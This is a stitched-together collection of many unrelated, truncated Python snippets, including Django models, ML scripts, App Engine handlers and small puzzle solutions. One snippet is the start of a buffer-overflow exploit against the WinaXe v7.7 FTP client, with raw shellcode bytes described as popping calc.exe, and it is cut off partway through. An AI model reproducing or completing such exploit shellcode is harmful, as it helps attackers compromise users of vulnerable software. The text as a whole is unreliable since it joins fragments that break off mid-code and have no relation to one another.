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# Web Server Gateway Interface (WSGI)
from google.appengine.api import users
import webapp2
import json
import logging
from datetime import datetime
import time
import datetime
from google.appengine.api import urlfetch
from google.appengine.ext import ndb
from urllib import urlencode
import re
from urllib2 import unqu... |
import os
import glob
import numpy as np
import argparse
import pandas as pd
from tqdm import tqdm
from ensemble_boxes import *
def string_to_row(df, fold_num):
csv = df.copy()
data = {'image_id':[], 'model':None, 'class':[], 'confidence':[],
'x_min':[], 'y_min':[], 'x_max':[], 'y_max': []}
im... |
#!/usr/bin/env python
# coding=utf-8
import ConfigParser
import pymongo
class MongoConnection():
def __init__(self):
config = ConfigParser.SafeConfigParser()
config.read("settings.ini")
self.conn = pymongo.Connection(config.get("mongodb", "host"), int(config.get("mongodb", "port")))
d... |
#!/usr/bin/env python
__author__ = "Master Computer Vision. Team 02"
__license__ = "M6 Video Analysis"
# Import libraries
import os
import math
import cv2
import numpy as np
from scipy import ndimage
from evaluate import *
from sklearn.metrics import confusion_matrix
from skimage.segmentation import clear_border
from... |
import os
import sys
import shutil
sys.path.insert(0, os.path.join("tools", "families"))
import fam
def export_note(output_dir):
with open(os.path.join(output_dir, "README.txt"), "w") as writer:
writer.write("This directory contains the datasets used in GeneRax paper.\n")
writer.write("The cyanobacteria data... |
#import GPIO library & time
import RPi.GPIO as GPIO
import time
#Pin numbers
led1 = 7
led2 = 11
led3 = 13
#set GPIO numbering mode and define input pin
GPIO.setmode(GPIO.BOARD)
#OUT
for ledX in [led1, led2, led3]:
GPIO.setup(ledX,GPIO.OUT) # Set led's mode is output
GPIO.output(ledX, GPIO.LOW) # Set led t... |
"""
A Bag Learner wrapper. (c) 2017 Paul Livesey
"""
import numpy as np
class BagLearner(object):
def __init__(self,
learner,
kwargs,
bags = 20,
boost = False,
verbose = False):
self.learner = learner
self.kwa... |
import socket,struct
import sys
#WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit
#Discovery hyp3rlinx
#ISR: ApparitionSec
#hyp3rlinx.altervista.org
#shellcode to pop calc.exe Windows 7 SP1
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1... |
import imaplib
import email
from email import message
import time
username = 'gmail_id'
password = 'gmail_password'
new_message = email.message.Message()
new_message.set_unixfrom('satheesh')
new_message['Subject'] = 'Sample Message'
# from gmail id
new_message['From'] = 'eppalapellisatheesh1@gmail.com'
# to gmail id... |
#!/usr/bin/env python
import optparse
class IridiumMobileIFace:
def __init__(self):
pass
def main(self):
op=optparse.OptionParser()
op.add_option("--fetch", help="Fetch messages from satellite network", action="store_true")
op.add_option("--mail", help="Send email from file", action="append")
op.add_optio... |
"""
@author: vyildiz
"""
# Import the modules to be used from Library
import numpy as np
import math
from scipy import special
import matplotlib.pyplot as plt
import statistics
from func_FDC import *
def postplot(num, M, V, L, os_probability, streamflow, av_multiplier, Q_futures , Nsize, low_percentile, case_to_der... |
def find_next_square(sq):
return (sq**0.5 + 1)**2 if (sq**0.5).is_integer() else -1
'''
Complete the findNextSquare method that finds the next integral perfect square
after the one passed as a parameter. Recall that an integral perfect square
is an integer n such that sqrt(n) is also an integer.
If the parameter ... |
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import hmac
import hashlib
import base64
import struct
import time
import sys
def g_code_3(token):
key = base64.b32decode(token)
pack = struct.pack(">Q", int(time.time()) // 30) # 将间隔时间转为big-endian(大端序)并且为长整型的字节
sha = hmac.new(key, pack, hashlib.sha1).digest(... |
# -*- coding: utf-8 -*-
"""
Created on Fri Sep 20 14:12:48 2013
@author: bejar
"""
import scipy.io
import numpy as np
from scipy import corrcoef
from sklearn.cluster import spectral_clustering,affinity_propagation
import matplotlib.pyplot as plt
from pylab import *
from sklearn.metrics import silhouette_score
from sk... |
import tensorflow as tf
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
from tensorflow.keras.layers import Dense
from tensorflow.keras import Sequential
from tensorflow.keras.optimizers import Adam
from sklearn import datasets
from sklearn import preprocessing
'''
정규화
1. min, max normalization
2... |
from django.db import models
# Create your models here.
class SiteSetting(models.Model):
title = models.CharField(max_length=50, verbose_name='عنوان سایت')
address = models.CharField(max_length=200, verbose_name='آدرس شرکت')
phone = models.CharField(max_length=50, verbose_name='شماره ی تماس')
email =... |
from django.shortcuts import render, HttpResponse, HttpResponseRedirect
from home.models import Person
from datetime import date
def home(request):
#name = request.POST['name']
#number = request.POST['number']
#print(name, number, '**********haaaaahahahaha')
return render(request, 'home.html')
de... |
import requests
import json
import os
import gitlab
import sys
from authorization import gl
namespace = {}
def check_exist(list_available, name):
if len(list_available) == 0:
print(f"no group or project available for {name} name")
sys.exit(1)
def get_project(name):
projects_available = gl.... |
# Generated by Django 3.0.5 on 2020-04-29 17:45
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('home', '0005_auto_20200429_1343'),
]
operations = [
migrations.RemoveField(
model_name='order',
name='tags',
... |
# Generated by Django 3.0.3 on 2020-05-09 23:01
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('product', '0003_auto_20200509_2259'),
]
operations = [
migrations.RenameField(
model_name='product',
old_name='short_descrip... |
def isPrime(num):
prime = True
if num % num == 0:
for i in range(2, num):
if num % i != 0:
prime = True
else:
prime = False
break
return prime
def isSquare(num):
square = True
for x in range(1, num):
if x * ... |
# most credit goes to https://github.com/lelilia/ <3
busses = [(x[0], int(x[1])) for x in enumerate(open('data/13.txt').read().split('\n')[1].split(',')) if x[1] != 'x']
t = 0
stepsize = 1
print(busses)
for departure, bus in busses:
while t % bus != (bus - departure) % bus:
t += stepsize
stepsize *= bus... |
"""
THE FOLLOWING CODE IS ADAPTED FROM HERE:
http://blog.thehumangeo.com/2014/05/12/drawing-boundaries-in-python/
"""
#-------------------------------- IMPORTS -----------------------------------
from shapely.ops import cascaded_union, polygonize
from scipy.spatial import Delaunay
import numpy as np
import shapely.ge... |
## ucdbioinfo_supernova_pipeline
## runs the process_10xReads.py script from the proc10xG repo
## https://github.com/ucdavis-bioinformatics/proc10xG
## Assumes only a single pair of fastq (R1/R2) files under the fastqs folder
import os
import json
args = {}
sbatch_args = {}
#TODO take this in from the CLI argument
#... |
"""
This file declares all the valid routes for Dash app URL routing
"""
HOME_ROUTE = "/"
GRAPHS_PAGE_ROUTE = "/graphs"
|
from importa_e_trata_txts import abre_documento, imprime_planilha
import re
''' Algorítmo usado para a main temporária de códigos reutilizáveis '''
lista_titulos_links = []
corpo_documento = abre_documento('links.txt')
linhas_documentos = re.findall(r'^([A-Z](?:\S{1,}|\s{1,2})+?)\n*(http(?:\S{1,}|\n)+)\n', corpo_docum... |
import json
import logging
import typing
from typing import TYPE_CHECKING
import numpy as np
import progressbar
import requests
from kerasltisubmission import loader
from kerasltisubmission.exceptions import (
KerasLTISubmissionBadResponseException,
KerasLTISubmissionConnectionFailedException,
KerasLTISub... |
#!/usr/bin/env python
from array import *
import random
class Cell():
def __init__(self,f,g,h,x=0,y=0,label=""):
self.x=x
self.y=y
self.f=f
self.g=g
self.h=h
self.label = label
def __str__(self):
return "[%d,%d], f: %d, g: %d, h: %d, label: %s" % \
... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('query', '0013_term'),
]
operations = [
migrations.AlterModelOptions(
name='query',
options={'permiss... |
# -*- encoding: utf-8 -*-
from home import *
|
import math
import sys
import statistics
from crapsGame import CrapsGame
from math import log10, floor
money = int(sys.argv[1])
iterations = int(sys.argv[2])
debug = bool(sys.argv[3] == 'True')
if (debug == True):
returns = [money*1.5]
minimums = [10]
else:
#returns = [int(money * 1.2), int(money * 1.5), int(mon... |
# player.py contains functions to assist in repeating mouse/keyboard
# events as read from a file.
# * see sample_annotated.txt for file formatting details
from pynput import mouse
from pynput import keyboard
from pynput.mouse import Button
from pynput.keyboard import Key
from time import sleep
class Pl... |
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Indictrans and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
from mycfo.mycfo_utils import get_central_delivery
class TrainingSubscriptionApproval(Document):
... |
from panda3d.core import CollisionBox, CollisionNode, BitMask32, CollisionHandlerQueue, TransformState, BitMask32
from bsp.leveleditor.DocObject import DocObject
from .SelectionType import SelectionType, SelectionModeTransform
from bsp.leveleditor.menu.KeyBind import KeyBind
from bsp.leveleditor.math.Line import Line... |
# -*- coding: utf-8 -*-
import tensorflow as tf
# 定义一个简单的计算图，实现向量加法的操作
input1 = tf.constant([1.0,2.0,3.0],name="input1")
input2 = tf.Variable(tf.random_uniform([3]),name="input2")
output = tf.add_n([input1,input2],name="add")
# writer = tf.train.SummaryWriter("/path/to/log",tf.get_default_graph())
writer = tf.summary... |
def howSum(targetSum, numbers):
if(targetSum == 0):
return []
if(targetSum < 0):
return None
for num in numbers:
remainder = targetSum - num
remainderResult = howSum(remainder, numbers)
if (remainderResult is not None):
remainderResult.append(num)
... |
from csslib import css
CSS = css.CSS3("$favcol:purple;/* comment */body{background-color:$favcol;}") # input as string
CSS.parse() # parses string
# __help__ for help
print CSS.get("__comments__") # gets the comments of the css
print CSS.get("__tree__") # gets complete tree
print CSS.get("__vars__") # gets the variabl... |
import os
import sys
import holoviews as hv
import pandas as pd
from rubicon_ml import Rubicon
from rubicon_ml.exceptions import RubiconException
def get_or_create_project(rubicon, name):
try:
project = rubicon.create_project(name)
except RubiconException:
project = rubicon.get_project(name)... |
import numpy as np
from random import shuffle
import sys
import tensorflow as tf
from tensorflow.image import decode_jpeg, resize
from tensorflow.io import read_file
from tensorflow.nn import softmax, sparse_softmax_cross_entropy_with_logits
from tensorflow.train import AdamOptimizer
tf.compat.v1.enable_eager_executio... |
class Metacls(type):
@classmethod
def __new__(mcs, *args, **kwargs):
# make a new class object from mcs
print(f"META __new__ : {mcs} with:{args} - {kwargs}")
# returns a class
return super().__new__(*args, **kwargs)
def __init__(cls, *args, **kwargs):
# initialize t... |
if __name__ == '__main__':
from andrew_packages.programming_problems.greedy.bandtexts_problem.method1 import RandomLengths
size = 20
text_lengths = RandomLengths(size)
print("Initial data:")
print(text_lengths)
import matplotlib.pyplot as plt
plt.plot(text_lengths)
... |
import sys
import os
import sqlalchemy
import datetime
from sqlalchemy import Column, ForeignKey, Integer, String, Text, DateTime, BigInteger
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import relationship
from sqlalchemy import create_engine
from flask_login import UserMixin
... |
import pygame
from bullet_patterns.no_scope import NoScope
from bullet_alien import BulletAlienCinco
class Cyclone(NoScope):
"""A derivative of the NoScope class"""
def __init__(self, main_game, shooter):
super().__init__(main_game, shooter)
self.bullets_per_ring = self.settings.nope_bullets_... |
import numpy as np
from matplotlib import pyplot as plt
import pandas as pd
from sklearn.tree import DecisionTreeClassifier
dataset = pd.read_csv("C:/Users/Sarthak/Downloads/train.csv")
#print(data)
clf = DecisionTreeClassifier()
#Training Datasets
xtrain = dataset.iloc[0:21000,1:].values
train_label... |
import datetime
import unittest
from zoomus import components, util
import responses
def suite():
"""Define all the tests of the module."""
suite = unittest.TestSuite()
suite.addTest(unittest.makeSuite(PollsV2TestCase))
return suite
class PollsV2TestCase(unittest.TestCase):
def setUp(self):
... |
import torch
from tqdm import tqdm
from utils.utils import get_lr
def fit_one_epoch(model_train, model, yolo_loss, loss_history, optimizer, epoch, epoch_step, epoch_step_val, gen, gen_val, Epoch, cuda):
loss = 0
val_loss = 0
model_train.train()
print('Start Train')
wi... |
inputFile = open("/Users/samuelcordano/Documents/adventOfCode/Day7_HandyHaversacks/inputFile.txt","r")
Lines = inputFile.readlines()
class bag:
def __init__(self,name,childBags,parentBags) -> None:
self.name = name
self.childBags= childBags
self.parentBags = parentBags
self.visite... |
n = int(input())
positive_int = []
negative_int = []
for _ in range(n):
integer = int(input())
positive_int.append(integer) if integer >= 0 else negative_int.append(integer)
print(positive_int)
print(negative_int)
print(f"Count of positives: {len(positive_int)}. Sum of negatives: {sum(negative_int)}") |
import argparse
def get_arguments():
parser = argparse.ArgumentParser()
#parser.add_argument('--mode', help='task to be done', default='train')
#load, input, save configurations:
parser.add_argument('--out',help='output folder for checkpoint',default='./log/lstm_gcn/')
parser.add_argument('--... |
#!/usr/bin/python3
from sys import argv
res = 0
first = True
if __name__ == "__main__":
for num in argv:
if first:
first = False
else:
res = res + int(num)
print('{}'.format(res))
|
import pygame
import random
import decimal
import math
import time
import os
pygame.init()
width = 1466
height = 768
size = (width, height)
FPS = 120
WHITE = (255, 255, 255)
BLACK = (0, 0, 0)
myfont = pygame.font.SysFont('Comic Sans MS', 30)
angle = []
angle.append(10)
angle.append(24)
angle.append(44)
angle.appen... |
from django.urls import path
from users import views as user_views
app_name = 'users'
urlpatterns = [
]
|
"""This is module for fetching the source code of a page when provided
with a url, this module uses request module. Using this module you
can get the html text of page or binary response depending upon
your requirements. This module also keep track of the url of page you
are accessing, (this can be used to ... |
###
### Copyright (C) 2018-2019 Intel Corporation
###
### SPDX-License-Identifier: BSD-3-Clause
###
from ....lib import *
from ..util import *
spec = load_test_spec("vpp", "deinterlace")
@slash.requires(have_ffmpeg)
@slash.requires(have_ffmpeg_vaapi_accel)
@slash.requires(*have_ffmpeg_filter("deinterlace_vaapi"))
@s... |
from readCSV import hashData, addToHash
from firebase import firebase
import operator
import itertools
firebase = firebase.FirebaseApplication('https://statgen-993f4.firebaseio.com/')
kills = 4
errors = 6
assists = 9
aces = 11
digs = 13
blocksSolo = 15
blocksAss = 16
# Each teams hashtable
calgaryRoster = hashData("... |
import base64
import httplib2
import logging
import mimetypes
import mimetools
import urllib, urllib2
import cookielib
import urlparse
import os, time, stat
import getpass
HTTP_STATUS_OK = '200'
logger = logging.getLogger(__name__)
class RestClient(object):
content_type = None
def __init__(self, base_url, ... |
# Copyright (c) 2017-2023 Digital Asset (Switzerland) GmbH and/or its affiliates. All rights reserved.
# SPDX-License-Identifier: Apache-2.0
from __future__ import annotations
from asyncio import ensure_future, gather, sleep
from typing import Sequence
import dazl
from dazl.ledger import CreateEvent
from dazl.ledger... |
import numpy as np
class gbrbm:
def __init__(self, visible = 0, hidden = 0,
weights = 0.1, vbias = 0, stddev = 0.25, hbias = 0,
adjacency_matrix = None, create_plots = False):
# get dimensions (number of visible and hidden units)
if hasattr(adjacency_matrix, 'shape'):
... |
import tensorflow as tf
import numpy as np
import matplotlib
matplotlib.use('Agg')
from multiprocessing import Pool
from queue import Queue
from sklearn.model_selection import ParameterGrid
from sklearn import datasets
from sklearn.model_selection import train_test_split
from pandas import read_csv
from sklearn.prepro... |
# Generated by Django 2.2.17 on 2021-01-30 22:26
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('admin', '0019_update_disabled_accounts_aliases'),
]
operations = [
migrations.AlterField(
model_name='domain',
name... |
# PYthon 3.7.3 use cse machine
from socket import *
import sys
import time
import statistics
def ping (host,port):
serverName = host
serverPort = port
clientSocket = socket(AF_INET, SOCK_DGRAM)
#Create UDP client socket
seqnum = 3331
pingtimes = 0
rtts = []
while(pingtimes < 15)... |
import sys
import os
sys.path.append(os.path.dirname(__file__))
import func_sign_prob_plugin
#print(f'sys-path >{sys.path}<')
def create_cutter_plugin():
return func_sign_prob_plugin.FuncSignProbCutterPlugin() |
#!/usr/bin/python3
# Task 7. Error code #1
if __name__ == "__main__":
import sys
import requests
the_url = sys.argv[1]
my_req = requests.get(the_url)
the_resp = my_req.status_code
if the_resp >= 400:
print("Error code: {}".format(the_resp))
else:
print(my_req.text)
|
import os
from time import sleep
from shutil import copyfile
import db
def rename_file(file):
path = os.getcwd()
path = os.path.join(path,'__pycache__/')
new_file = file.split('.')
file = os.path.join(path,file)
new_file = new_file[0]+'.'+new_file[2]
new_file = os.path.join(path,new_file)
... |
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# break 跳出最近所在的循环
# continue 跳到最近所在循环的开头处（来到循环的首行）
# pass 占位语句，什么事也不做
# 循环else模块 只有当循环正常离开时才会执行（没有触发break）
# 示例，break
res = i = 0
while True:
i += 1
res += i
if i == 100:
break
print(res)
# 示例，continue
# 求1~100之内的... |
from rest_framework import serializers
from api.models import History
class HistorySerializer(serializers.ModelSerializer):
class Meta:
model = History
fields = ('id', 'user', 'ip_address', 'browser_info', 'location', 'created_at', 'updated_at')
|
#Core data types:
'''
List:
mutable
declare: a=[1,2,3]
access: a[1],a[1:4]
modify: a[1]=100
a.append(8),a.extend([45,65]),a.insert(1,45)
delete: del a[2],del a[2:5]
a.pop(),a.pop(2),del a
a.clear()
Tuple:
immutable- cannot be changed... |
# Generated by Django 2.1.9 on 2019-08-12 07:48
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('whiskydatabase', '0018_auto_20190805_1341'),
]
operations = [
migrations.AddField(
model_name='whiskyinfo',
name='ge... |
while True:
result = []
N = int(input('Enter integral number: '))
if N % 2 == 1:
print('Yes')
else:
print('No')
for element in str(N):
result.append(element)
no_of_digits = len(result)
print(f'There are {no_of_digits} digit(s) in the integral number {N}'... |
# Generated by Django 2.2 on 2020-10-04 14:10
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('instagram', '0010_auto_20201004_1709'),
]
operations = [
migrations.AlterField(
model_name='socinstaproxy',
name='loca... |
# The following code is used to watch a video stream, detect Aruco markers, and use
# a set of markers to determine the posture of the camera in relation to the plane
# of markers.
#
# Assumes that all markers are on the same plane, for example on the same piece of paper
#
# Requires camera calibration (see the rest of... |
from collections import defaultdict
import boto3
import time
region = 'us-east-1'
ec2 = boto3.resource('ec2', region_name=region)
ec2_filter = [{'Name': 'instance-state-name', 'Values': ['running']}]
ec2.instances.filter(Filters=ec2_filter).terminate()
instance_status = ec2.instances.filter(Filters=[{
'Name': '... |
txt1 = 'A tale that was not right'
txt2 = '이 또한 지나가리라.'
print(txt1[3:7])
print(txt1[:6])
print(txt2[-4:]) |
from numpy import genfromtxt
import csv
clusterinfo="/Users/mengqizhou/Desktop/datamining/assignment5/algorithm2/14/cosine_14.csv"#vnoc
tan="/Users/mengqizhou/Desktop/datamining/assignment5/algorithm2/test_article_numbers.csv"#test article number
tran="/Users/mengqizhou/Desktop/datamining/assignment5/algorithm2/trainin... |
import tkinter as tk
import PyPDF2
from PIL import Image, ImageTk
print('Is this working?')
root = tk.Tk()
root.mainloop()
|
#!/usr/bin/env python
# coding: utf-8
# # Necessary Libraries
# Define the necessary libraies.
# Data can be accessed by both JSON and CSV.
# In this part, we will read from JSON format and create simple ML.
# In[1]:
#source:
#https://data.sfgov.org/resource/rkru-6vcg.json
#https://data.world/singgih/airtrafficpa... |
def is_distance_regular(G): ...
def global_parameters(b, c): ...
def intersection_array(G): ...
def is_strongly_regular(G): ...
|
import numpy as np
import networkx as nx
import bsp
import matplotlib.pyplot as plt
segments = np.array([
[[-1.5, 0], [2, 0]],
[[-2, -1], [-2, 1]],
[[2, -2], [6, 2]],
[[-1, -4], [-4, 2]]
])
tree = bsp.build_tree(segments)
fig = plt.figure(figsize=(8,8))
axis = plt.subplot(2,1,1)
axis.grid()
for segme... |
# Given a string S and a character C, return an array of integers
# representing the shortest distance from the character C in the string.
class Solution:
def shortestToChar(self, S, C):
res = []
buffer = []
indeces = [ii for ii in range(len(S)) if S[ii] == C]
for ii in range... |
from slack_sdk.models.dialoags import AbstractDialogSelector # noqa
from slack_sdk.models.dialoags import DialogChannelSelector # noqa
from slack_sdk.models.dialoags import DialogConversationSelector # noqa
from slack_sdk.models.dialoags import DialogExternalSelector # noqa
from slack_sdk.models.dialoags import Dia... |
# -*- coding: utf-8 -*-
from model_mommy import mommy
from django.test import TestCase
from app.customer.models import Customer
from app.fleet import models
class ModelsTestCase(TestCase):
def setUp(self):
self.customer = mommy.make(Customer, cnh_type=['A'])
self.vehicle = mommy.make(models.Flee... |
import pandas as pd
import numpy as np
import talib as ta
import tushare as ts
import matplotlib.pyplot as plt
def OBV(ts_code):
dw = ts.get_k_data("600647")
dw = dw[300:]
dw.index = range(len(dw))
obvta = ta.OBV(dw['close'].values,dw['volume'].values)
obv=[]
for i in range(0,len(dw))... |
#!/usr/bin/env python
import rospy
import time
import math
from geometry_msgs.msg import Vector3
from geometry_msgs.msg import PoseStamped
from std_msgs.msg import Empty
from pid_class import PID
from rosgraph_msgs.msg import Clock
from std_msgs.msg import String
class PositionController():
def __init__(self):
... |
#!/usr/bin/env python3
#
# Copyright (C) 2020 Cambridge Astronomical Survey Unit
#
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later... |
import maya.cmds as cmds #importing maya commands to python
import maya.mel #Maya Embbeded Language
s = cmds.ls(selection = True) #locking the selection of the user ( say object or camera or path,etc)
camName=cmds.listCameras()
cName=camName[0]
cx=0 #assigning angles to zero degrees on each axis
cy=0
cz=0
v=45 #increm... |
# Sean Kim
# Unit 3 Review Problem 11
def get_scores ():
dict = {}
print ("Enter the name/score pairs separated by a space.")
pair = input().strip()
while len(pair) > 0:
items = pair.split()
key = items[0]
defi = items[1]
dict[key] = defi
pair = input().strip... |
from pprint import pprint
import os
devices = [
'iPhone SE',
'iPhone 8',
'iPhone 8 Plus',
'iPhone X',
'iPhone XS Max',
]
screenshots = [
'10_Wallet',
'20_History',
'30_Channels',
'40_Receive',
]
expected = set()
for device in de... |
import time, pytest
import sys,os
sys.path.insert(1,os.path.abspath(os.path.join(os.path.dirname( __file__ ),'..','..','lib')))
from clsCommon import Common
import clsTestService
from localSettings import *
import localSettings
from utilityTestFunc import *
import enums
class Test:
#=========================... |
# -*- coding: utf-8 -*-
"""
Spyder Editor
This temporary script file is located here:
C:\Users\Standard User\.spyder2\.temp.py
"""
import numpy as np
import csv
import time
from sklearn import cross_validation
from sklearn.metrics import make_scorer
traindata = []
file_name = "C:/Users/Standard User/Downloads/train.c... |
#!/usr/bin/env python
"""
Single script for computing spearman correlation between different models
and the compositionality ratings.
"""
import sys
import argparse
from os.path import basename
from numbers import Number
import pandas as pd
from util import openfile, df_remove_pos, read_vector_file
from distances ... |
#!/usr/bin/env python3
# Import the EV3-robot library
import ev3dev.ev3 as ev3
from time import sleep
# Constructor
btn = ev3.Button()
shut_down = False
# Main method
def run():
# sensors
cs = ev3.ColorSensor('in2'); assert cs.connected # measures light intensity
shut_down = False
cs.m... |
#!/usr/bin/python
"""
This is the code to accompany the Lesson 1 (Naive Bayes) mini-project.
Use a Naive Bayes Classifier to identify emails by their authors
authors and labels:
Sara has label 0
Chris has label 1
"""
import sys
from time import time
sys.path.append("../tools/")
from email_prepro... |
# from django.db.models.fields.files import FieldFile
from django.forms import widgets
from django.forms.widgets import ClearableFileInput, CheckboxInput, FILE_INPUT_CONTRADICTION
from django.utils.html import escape, conditional_escape
from django.utils.safestring import mark_safe
from sorl.thumbnail import get_thum... |
#!/usr/bin/env python
from distutils.core import setup, Extension
from Cython.Build import cythonize
setup(
ext_modules=cythonize(
Extension(
"_smatch",
sources=["_smatch.pyx", "_gain.cc"],
language="c++",
extra_compile_args=["-std=c++11"]
)
)
)
|
login = {
'user': 'user',
'password': 'password'
}
directory = '/Users/usmankhan/Desktop'
resources = {
'url': 'https://lms.nust.edu.pk/portal/login/index.php',
'powerpoint': 'https://lms.nust.edu.pk/portal/theme/image.php/nust/core/1464680422/f/powerpoint-24',
'pdf': 'https://lms.nust.edu.pk/portal/theme/i... |
import sys
class BaseObject(object):
"""BaseObject"""
def __init__(self):
self.strip_chars = ' \r\n\t/"\',\\'
@staticmethod
def convert_boole(target):
target = str(target).lower()
if target != 'true' and target != 'false':
error_message = 'Error: The expected inpu... |
# postcodes generator
# TASK: takes 2 strings: '67-600' and '82-900' and returns a list of codes between
def main():
x = '67-600'
y = '82-900'
c = []
c.insert(0, x)
c.insert(len(c), y)
a = (len(c))
def add_new(z):
return c.insert((a-1), z)
# below examples
add_new('79-901'... |
import os
import numpy as np
from astropy.io import fits, ascii
from astropy.table import Column
import sdss_psf
from pyraf import iraf
import zeropoints
iraf.fuzzy()
iraf.gim2d()
hst_config = '/mnt/hd3/cosmos/hst_default.sex'
# CHANGE THIS TO HST IMAGE DIRECTORY
img_path = '/mnt/hd3/cosmos/ACS/'
psf_file = '/mnt/h... |
#!/usr/bin/env python3
import time
import requests
import yaml
import sys
from prometheus_client import start_http_server, Summary, Enum
metrics = {}
def fetch(l):
for name, node in l.items():
try:
with metrics.get('skale_fetch_latency').labels(node=name).time():
req = requests.get(node + "/statu... |
#!/usr/bin/env python
"""
Utiliy for looking up the network address of an Amazon ec2 instance
"""
from argparse import ArgumentParser
from awsutils import lookup
if __name__ == '__main__':
parser = ArgumentParser()
parser.add_argument('name',
help='Value of the Name tag of an ec2 inst... |
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